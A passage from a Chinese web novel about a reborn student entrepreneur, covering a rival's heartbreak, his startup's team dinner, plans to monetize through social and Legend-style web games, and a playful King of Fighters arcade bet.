而且在陈让监督下，这个系列帖还删过一次，很多指代性太明显的东西都被删掉。 但是夏灵珊仔细甄别后，还是得到了不少有用信息。 赵兰蕤没有骗她。 陈让身边确实有个女孩子，蜀大经济学院经济系的，被王子聪形容为“天仙少女”。 就是这个女孩子击败了她。 也击败了赵兰蕤。 现在大概率是陈让女朋友。 夏灵珊当然不相信，那个女孩子真有王子聪描述那么美。 “宝藏女孩！” “她的出现，让光有了具体形状，心动有了真正定义。” “她是余光轻瞥的心动，也是人海相望的甜蜜，她笑时，雷声温柔，她开口，暴雨无声。” 那个女孩若真美得这么离谱，又怎会在学校籍籍无名？ 蜀大校园女神也不会是她跟赵兰蕤。 但是从王子聪的描述中，夏灵珊看得出来，小陈真的很喜欢她。 那样的真诚，如此的热烈。 那么这个女孩是不是真的那么漂亮还重要么？ 夏灵珊心中泛起浓烈的苦涩。 小陈现在是怎么爱着那个女孩的，从前不也是那么爱着她的？ 真的错过了。 这一错过就是一生。 再无可能成为小陈身边的那个人。 憋闷之下夏灵珊很想找人说话。 她给牟佳佳打了电话，说准备去西南财大找她。 “灵珊，你确定现在要来吗，下着雨呢。” “打伞就行，到了给你电话。” 半个多小时后，夏灵珊跟牟佳佳约在了西南财大外的一家咖啡馆。 喝了两口拿铁咖啡，擦了擦脸颊水渍，夏灵珊情绪低落的跟好姐妹说她决定放弃了。 “灵珊，放弃什么？” “小陈啊，还能放弃什么。” 牟佳佳表情发怔。 猜到了灵珊冒雨来找她心里铁定有事。 却没想到还是关于陈让。 算算时间—— 从四月底陈让不理会夏灵珊开始，到现在都快半年，灵珊却还耿耿于怀？ 没道理的。 明明跟陈让之间，她才是被偏爱的那个。 “真没想到你对陈让会有这么深的执念……” “我到现在才真正意识到，小陈并不是在跟我赌气，他是真的不想理我了。既然如此，我又何必再对他死缠烂打？倒是给他看轻了。” “灵珊，你们蜀大优秀男生不有的是，你这么漂亮，不会缺人追的！” “佳佳，确实有很多人在追我，可他们都不是小陈，他们也都没有小陈那么优秀，甚至远远不如……我觉得自己以前真的好没有眼光，居然想着去考验小陈，我要不那么作，我们早就在一起了吧，也就没有那个所谓的‘天仙少女’什么事。” 夏同学终究是骄傲的。 即便到现在，也不觉得自己真的不如那个女孩。 她跟陈让是互相错过。 那个女孩不过是捡了漏。 牟佳佳叹了口气——看这架势，哪怕到现在，灵珊也不知道她到底输给了谁。 她在考虑要不要告诉好姐妹真相。 告诉吧，怕她道心崩坏。 继续瞒着却也没意义——早晚都会知道的。 权衡至此，牟佳佳苦笑着开口。 “灵珊，其实我知道那个天仙少女是谁，而且你也认识……” “你知道是谁，我也认识？” 夏灵珊顿时皱眉。 难道那个天仙少女也是德州一中的？ 总不会是肖茜吧？ 她是天仙？ 这不是搞笑么？ “灵珊，就在你把陈让给你的情书交给老师后没几天，我就在学校食堂看到陈让跟林静姝一起吃饭……” “我国庆时回了趟一中，陈让跟林静姝的照片，都还贴在校门口的橱窗，要不是亲眼所见，我也不敢相信，考了全省第五的林静姝居然也去了你们蜀大，而且跟陈让一个学院……” “灵珊，你输给了谁我都会替你鸣不平，但是输给林静姝……你输得不冤。” “我一直觉得，林静姝跟咱们不在一个画风，陈让这家伙也确实了得，居然能得到她的芳心……” 随着牟佳佳的描述，夏灵珊彻底傻眼。 身躯抑制不住发抖。 眼中更满是难以置信。 挫败感，憋闷感，绝望感。 诸多情绪杂糅，瞬间将她击溃。 原来是她，怎会是她？ 夏灵珊下意识不肯相信。 那可是林静姝！ 仿佛高悬云端、不食人间烟火。 她这样的女孩也会谈恋爱？ 可是转念一想—— 林静姝美到跟所有人都不在一个画风。 陈让不也优秀到碾压所有同龄人？ 骄傲了一辈子的夏灵珊，此刻彻彻底底的道心崩坏。 哪怕陈让现在的女朋友是赵兰蕤，她都不会这么失态——毕竟她从来不觉得自己不如赵兰蕤。 可是换成某位学神少女——她心里仅存的骄傲也被碾碎。 换其他任何人，她都能够安慰自己，说自己跟陈让是互相错过。 奈何是林静姝，偏偏是林静姝。 夏同学不得不承认——自己终究成了败犬。 第112章 继续薅 第一百一十二章 继续薅 蜀州大学第一届校园女神大赛圆满结束后，星环科技搞了个小型庆功宴。 时间就在今天傍晚。 地点嘛—— 星环科技眼目前的员工，百分之九十都川娃子，“少数服从多数”，所以选在了校门口的“巴蜀人家”火锅店。 聚餐之前，陈让先召集众员工“光明顶”开了个表彰会。 会议上，从主管到员工、陈总都不吝夸奖——毕竟说好话又不用掏钱。 当代大学生们还真就吃这套。 得了老板夸赞，个个仿佛吃了蜂蜜，眼中满满都是对工作的热忱。 员工们开心，陈总自然也愉悦。 讲道理，有这帮可爱的小韭菜，富贵大帝何愁帝业不成？ 当然陈总也不是只玩虚的。 会议结束时，陈让吩咐财务孙菲菲核对了人数，每人都发了笔奖金。 按照贡献比不同，金额五百到两千不等。 又被老板吹彩虹屁，又能出去吃大餐，还有奖金拿，员工们那叫一个兴奋。 女孩子们还算矜持，男生们个个都在鬼哭狼嚎。 李云飞这小子最逗比，甚至唱起了“今天是个好日子”。 下午五点半，开完表彰大会后，陈让往经济学院女生宿舍楼下走。 作为星环科技有正式编制和工位的老板娘，公司第一次团建，林大美人肯定不能缺席。 路过“呦茶”时，陈总买了四杯奶茶——真自己掏钱买的。 呦茶虽说是他开的，所有权却是林静姝，跟星环科技的财务完全独立。 到楼下后，他给林静姝发信息说自己到了。 “陈让，再等我五分钟！” “呦呦同学，这么墨迹的？” 只能说某人以前待遇还是太好。 跟林静姝约会这么多次，他基本没等过，以至于五分钟都要吐槽。 叶芊芊突然给某人发了个消息。 “陈让，你家林静姝已经打扮半个小时了，还不住拉着我问，芊芊，我好看不好看呀，本格格都快烦死了，她都长这样了，怎么在你面前，还是那么的不自信……” 陈总忍俊不禁。 同时心里还有些发痒。 林大美人儿居然在化妆？ 还真没见过她化妆后的样子。 讲道理，她才是真正的“天生丽质难自弃”，哪怕素面朝天，也能惊艳众生。 晃晃脑袋后，陈让给叶芊芊发信息： “那我就再等等吧，对了，待会儿你们三姐妹跟她一起下楼吧，我给你们都买了奶茶。” 叶芊芊看完信息后把这事儿说了。 其他俩姑娘都点了头，李文秀却脸色一白，弱弱的说我就不去了…… 她真怕陈让把她给撕了——这几天都心虚得很。 叶芊芊凑到她耳边，压低声音：“文秀，你就不想想，陈让为什么突然给咱们买奶茶，还让咱们都下去拿？” 李文秀脸色更白。 先前她笃定陈让是个狗渣男，占据道德制高点，所以不怕某人。 但是知道是自己误会以后，她就真的怕了，而且越想越怕。 仔细想想，还是决定下楼。 伸头是一刀，缩头也是一刀，总之躲不掉。 又过差不多十分钟，陈让总算等到了某位学神少女。 本来是有小情绪的——居然让他等了这么久。 但在看到林大美人那一刹，他眼中只剩下惊艳。 值得。 某位学神少女今天是真漂亮。 鹅蛋脸上画着淡妆，精致绝伦，如新月开晕，似花树堆雪。 叶芊芊、李文秀等姑娘，颜值也不算差，却完全被杀爆，从小美女变成了类人猿。 “喏，你们的奶茶——” 好不容易才把目光从林静姝身上挪开，陈让依次把奶茶递给叶芊芊等人。 递给李文秀时，他貌似不经意的说：“李同学，听说你有个堂哥挺优秀的，我最喜欢跟优秀的人交朋友，啥时候介绍我认识认识？” 李文秀身躯一颤。 “陈让，我知道你想说什么，是我误解你了，对不起。” 她表情诚恳，给陈让鞠躬道歉。 “行吧，那这事儿就这么着了。” 陈总翻了个白眼，终究还是选择了高举轻放。 时间不等人—— 送完奶茶，两个好朋友，大手牵小手，往“巴蜀人家”走。 等陈让走远，李文秀吐了口浊气。 “芊芊，没想到陈让还是挺大度的，居然就这么放过我了……” “你真-觉得陈让是那种大度的人？他不为难你，不过是在乎呦呦的感受。” “好吧，陈让对呦呦……确实跟对其他人不一样。” “呦呦不也是这样么，你真以为呦呦笨啊，她高考可是全省第五，也只有对陈让她才不愿意动脑子。” 路上林静姝有些好奇，问陈让刚才嘀嘀咕咕跟李文秀说什么。 陈让扯了个谎，说我们宿舍的那谁谁对李文秀有些意思，托我问问。 林静姝哦了一声。 其实依稀听到了，但是她没有拆穿。 情商这个东西她其实是有的，只是除了陈让再没人配得上。 很快两个“好朋友”手拉着手、腻歪着到了“巴蜀人家”。 员工们早就到了，见到化着精致妆容的林静姝，全都被硬控。 杨艺第一个咕哝。 “老板娘，犯规了，你都‘天生丽质难自弃’了，怎么还能化妆……自卑了，跟老板娘比，感觉自己像个类人猿。” 李云飞接过话茬儿。 “杨艺学姐，话也不能这么说的，虽然你没有老板娘的国色天香，但是你也没有老板娘的倾国倾城……” 杨艺瞪向李云飞：“小子，老娘给你个重新组织语言的机会！” 李云飞缩了缩脖子：“杨艺学姐，你还是美的，就是美得有点朴素。” 于是哄笑一片。 “有种朴素的美”这句话，早就是星环科技内部非常出名的一个梗。 林静姝毕竟社恐。 到场后，她乖巧坐着，送了所有人一个“呦呦牌假笑”。 陈让教她的——不知道怎么说话时就保持微笑。 她尝试着做过几次后，发现效果太好了——原来很多问题只需要笑一笑就不是问题。 “嗯，林呦呦，保持下去，说不定你也可以跟你的‘好朋友’一样，成为社交达人！” 好吧，数值怪就是这样的，明明都是靠数值碾压，却往往会觉得自己很有操作。 此时陈让并不在桌上。 他在吧台跟“巴蜀人家”的老板聊天。 老板是个光头，姓“杨”名“勇”——跟被隋炀帝杨广刀了的大隋太子同名同姓。 陈总记得自己上辈子还看过一个“新闻”——有个叫杨勇的包工头，不小心刨了个古墓，结果专家调研后发现是隋炀帝的，然后下面一堆网友刷“天道有轮回、苍天饶过谁”。 为什么“新闻”要打引号，陈总觉得人要有自己的思考。 在他看来，这个新闻一眼假。 跟“比尔盖茨的女婿”一样，就是个段子，无良媒体为了博眼球编出来的。 “勇哥，这是在砍传奇啊，官服还是私服？” “肯定私服啊，正经人谁玩官服……” “哈哈，是这个道理，自从热血传奇不收点卡开启免费模式后，的确不是人玩的，陈天桥屁股都烂完了，说明免费的才是最贵的！” “免费的才是最贵的，哟呵，陈小哥，这话精辟啊，听你这口气，你也玩过热血传奇？” “何止玩过，都算骨灰玩家了，二区光芒的，玩了个道士，41级了还没‘召唤神兽’……实在玩不下去就退坑了。” “哎，官服坑私服其实也坑啊，都他妈是拖，就说我现在玩得这个吧，老子前前后后冲了十几万，结果还是被吊着打，你说气不气嘛……” “勇哥，那怎么不换个游戏玩啊，魔兽世界不挺火的，可玩度也完爆传奇。” “魔兽世界？那有什么好玩的，杀人都不掉装备，没劲儿！” “倒也是——” 陈让笑了笑，表示了认同。 单说游戏制作水平，“热血传奇”给“魔兽世界”提鞋都不配。 前者就是纯粹的泡菜网游。 后者世界观宏大、任务系统丰富。 但是对杨勇这批不差钱的中年玩家来说，热血传奇才是白月光。 而且传奇有个设定，把人性挖掘到了极致——杀人爆装备。 一把屠龙，甭管价值十万还是二十万，被人杀了该爆一样爆。 跟巴蜀人家的老板杨勇闲聊至此，陈总思维开始发散。 眼目前的“众众网”，变现模式还是太单一，就靠校园女神大赛的噱头，卖冠名权和广告位，爆学校周围商家的金币。 虽说在他各种骚套路加持下，眼目前这套还算玩得转。 但是众众网想真正做大做强，却需要烧更多的钱。 单靠爆学校周围商家的金币，绝对后继乏力。 那该怎么办呢？ 陈总其实早就有了大概框架。 还是打算摸着别人过河，再具体点就是继续薅陈一舟。 虽说陈让挺瞧不起陈一舟，觉得他一手好牌打稀烂，白瞎了人人网的天胡开局。 但实事求是的讲，陈一舟还真有点东西。 此人跟雷军是同学，同是湖北佬的周鸿祎曾评价过，说陈一舟才是湖北省最聪明的人，“军儿”只能排第二，我排第三。 第113章 杀猪盘 第一百一十三章 杀猪盘 当年王兴用“copy-to-china”的思路，把Facebook的社交网络模式运用到中-国，创办了“校内网”。 却因为盈利模式不明，没能撑下去，只能把“校内网”卖给了陈一舟。 接盘“校内网”后，陈一舟显然更有办法。 他把“校内网”改名为“人人网”，让这个发迹于校园的网站真正走出校园，并给资本市场讲了这样一个故事。 人人网等于“Facebook”加“Groupon”加“Zynga”加“LinkedIn”。 政策原因，后面四个网站都被拦在国门之外。 在twitter模式还没走红、微博还在萌芽阶段时，人人网乘着浪潮，可谓风头无二。 甚至在Facebook之前成功在纽交所上市。 当日市值便冲至七十多亿，峰值时期更是高达百亿——这里的计量单位可是美刀。 成功总是有原因的——哪怕只成功了一半。 陈一舟接手“人人网”之后，做的最成功的一件事是什么？ 站在陈总的视角，他觉得是找准了变现渠道——做游戏。 通过山寨堵路模式，“人人网”狙击了后起之秀“开心网”，把偷菜、抢车位等sns游戏做得风声水起，2012年“人人网”游戏收入一度超过广告，达到百亿之巨。 再后来嘛，陈一舟这一套被更无耻的腾讯学了去。 “走你的路让你无路可走”，“人人网”败给了“QQ空间”。 不过那毕竟是后来的事。 在零九年做SNS游戏（Social-Network-Service，既在社交网络上运行）变现，绝对是最正确的思路。 陈让打算在星环科技单独成立一个研发部，着手搞游戏变现，以建立可持续发展的正循环。 第一步肯定是先把“偷菜”搞出来。 这玩意儿最简单却也最容易爆——毕竟“种菜”乃是国人最大的种族天赋。 后续如餐厅经营、抢车位等，也可以陆续上马。 到时在众众网搞个游戏大厅，很容易就可以从用户身上爆金币。 不过SNS游戏毫无壁垒，众众网哪怕真搞起来了，后续也会被山寨大王腾讯弯道超车。 讲道理，做游戏谁搞得过腾讯？ 人家有六亿QQ用户做基本盘，哪怕后世的字节跳动，也攻不破护城河。 所以在摸着陈一舟过河搞SNS游戏的基础上，陈总还得搞点陈一舟没有的东西。 譬如他此时正在跟杨勇讨论的热血传奇！ 09年这个节点，由盛大代理的《热血传奇》早就不复辉煌。 现在网游市场，最火的是《魔兽世界》、《穿越火线》和《地下城与勇士》。 任谁看来，曾经一统江山的《传奇》也已日薄西山，再无可能找回昔日荣光。 靠着《传奇》当过几年中-国首富的陈天桥也这么想。 然而盛大没想到的是、苟延残喘的《热血传奇》，数年之后却在网页游戏这个新赛道，大杀特杀乱杀。 以“贪玩蓝月”为首的一帮传奇页游，疯狂捞金、不知创造了多少财富神话。 “黄金有价、情怀无价”，传奇页游能够捞金无数，便是抓准了杨勇这种传奇老玩家的命门。 这帮人年纪大，接受新鲜事物能力有限，却又喜欢找存在感。 关键他们还不差钱，甚至最有消费能力。 传奇页游不需要操作、只要氪金就能单枪匹马杀穿一个行会，压根就是为这帮人量身定做。 先从最简单的SNS游戏开始，积累开发游戏的经验。 有一定基础后就上马搞类传奇页游——如此便能在最短时间内积累资金。 陈总有自知之明。 搞游戏百分百搞不过腾讯。 零九年小马哥的护城河早挖出来了。 提前五年狙击鹅厂还有点可能，现在绝对没戏。 所以他真正的规划，还是放在即将开启的移动互联网大时代。 “勇哥，你玩个传奇私服都能充十几万啊，你这火锅店也太他妈赚钱了吧。” “陈小哥，你是光看贼吃肉，没见贼挨打，餐饮这一行可不好做，起早贪黑的，哪像你们九八五的大学生，出来后随便就能找个坐办公室的工作，吹着空调当白领……” 杨勇嘴上这么说，手上却玩着把车钥匙。 陈让一眼就认了出来。 “奔驰E级？” 突然有种不好预感。 果不其然—— “嘿嘿，还行吧，其实我本人更喜欢奥迪，架不住家里黄脸婆吵着闹着要买奔驰，买来都没开几次，你说这不是浪费么？” 杨勇边说边给自己点了根华子，徐徐吐了口烟雾。 陈让：“……” 这是被滋了？ 富贵大帝的报复心一下子拉满。 心想你丫等着，回头就把我好朋友家的劳斯莱斯开过来，到时候看咱俩谁滋谁！ 又两小时后，吃完了火锅。 星环科技第一次团建，肯定不能说吃完饭就散。 员工们都还没尽兴。 就这么散了，不利内部团结，也塑造不起来企业文化。 陈让问大家下一台怎么安排。 员工们都拎得清，哪敢提意见，都说听老板的。 陈让想了想，说带大家去电玩城玩玩？ 这个提议得到了所有人附和。 所以说当代大学生就是好，二台安排去打游戏就能很高兴，要是社会上那帮老油条，肯定嚷嚷着要去商K洗浴一条龙。 半小时后，众人浩浩荡荡杀到学校附近的电玩城。 进场后林静姝明显有些兴奋，桃花眼亮晶晶的，第一时间就拉着陈让去玩拳皇九七。 两人打的有来有回。 显而易见，林大美人展现出来的不是她真正水准。 还是那句话——她并不是没有情商，只是其他人不配。 “老板，你这也不行啊，连老板娘都不怎么打得过。” 李云飞凑过来吐槽。 他也是个拳皇老鸟。 “吹牛逼谁不会，咱俩练练？” 陈总好胜心多强，立马怼回去。 “练就练，老板，加点彩头？” “那就来个抢五，开枪一百块！” “开枪”是格斗游戏的业界黑话，翻译过来就是“赌钱”。 于是两人拉开阵仗开打。 “老板，加油，你是最胖的！” “阿飞，别怂，干翻老板，你就是星环科技最靓的仔！” 许多员工凑了过来——都是帮看热闹不嫌事大的主儿。 陈让选了主角队三人组，也就是草薙京、二阶堂红丸和大门五郎。 李云飞的人物比较奇葩。 蔡宝健，俗称猴子。 陈国汉，又名大猪。 第三个人物，则是暗黑八杰集中的山崎龙二。 其中从选人就看得出来，李云飞拳皇造诣超过陈让不少。 拳皇九七这款游戏，可不是说谁长得帅谁人气高谁就厉害。 草薙京跟红丸，人物性能都一般，绝对不如猴子、大猪和龙二。 也就大门五郎还行。 但这个角色全靠摔投技，非常吃操作，陈让显然没有那个能耐，发挥出这个人物的真正性能。 结果就是被吊打，一比五脆败。 满脸肉疼掏出一百块后，陈让还被滋了。 李云飞满脸嘚瑟：“老板，都说你不行吧，还非要跟我开抢，一百大洋啊，拿去干点啥不好？” 陈让被锤到自闭。 觉得自己的拳皇生涯大概也就到此为止。 林静姝眨了眨眼，看向还在嘚瑟的李云飞。 “我们也来开一枪？” 李云飞摇头，摆出高手范。 “老板娘，你跟老板的水平也就伯仲之间，怎么可能打得过我？我就不欺负你一介女流了。” 林静姝哼了一声：“你不会是不敢吧？” 被这么一激，李云飞哪里受得。 “那就来一局呗，老板娘你想开多大？” 学神少女比起两根手指：“两百。” “行吧，这可是老板娘你主动要求的，待会儿可别说我欺负女孩子。” 此时李云飞显然还没意识到问题严重性。 以为方才跟陈让打得有来有回的林静姝，就是她真实水平。 很快开始对战。 林静姝选的全女性阵容，神乐千鹤，布鲁玛丽以及丽安娜。 其中也就丽安娜性能弱些。 千鹤跟玛丽都性能超强，许多职业选手都在用。 李云飞开始还自信满满。 真打起来，却被被千鹤的祝词连续打破防。 被秀了一套布阵28连后，他彻底傻眼。 讲道理，先前老板娘绝对不是这个水准！ 连招如此熟稔，还会算破防跟晕值，这都赶得上职业玩家了，他哪儿是对手？ 李云飞输得很干脆。 连续被神乐穿三了四把。 第五把已经没打算赢了，只想着不被剃头，维持男人最后的尊严。 确实超水准发挥了，排头人物八神庵连续干掉了千鹤跟丽安娜。 结果却被布鲁玛丽反三。 吃了好几个玫瑰夹，感觉自己脑花子都被摔了出来。 “两百，诚惠。” 陈让瞬间舒坦，比了个数钱的动作。 李云飞哭丧着脸。 “老板，你跟老板娘这是在摆杀猪盘啊，早知道她这么厉害，脑抽我跟她开枪！” 陈总乐疯，麻溜把两百块揣进了兜，表示开心加愉悦。